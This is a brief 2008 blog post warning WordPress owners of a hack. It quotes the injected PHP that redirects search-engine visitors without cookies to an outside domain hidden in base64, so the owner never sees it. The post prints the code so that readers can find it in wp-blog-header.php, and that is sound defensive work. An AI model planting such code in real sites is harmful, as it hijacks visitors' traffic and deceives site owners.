Wordpress Vulnerability
June 7, 2008 at 5:22 pm
There’s a big Wordpress vulnerability going around (see http://clasione.blogspot.com/2008/06/wordpress-anyresultsnet-hack-search.html for details). Be sure to check your wp-blog-header.php for:
<?php
$seref=array(”google”,”msn”,”live”,”altavista”,”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=”1″; break; }
if($ser==”1″ && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit; }?>
Is your site infected?
Use this tool to check:
Say your words!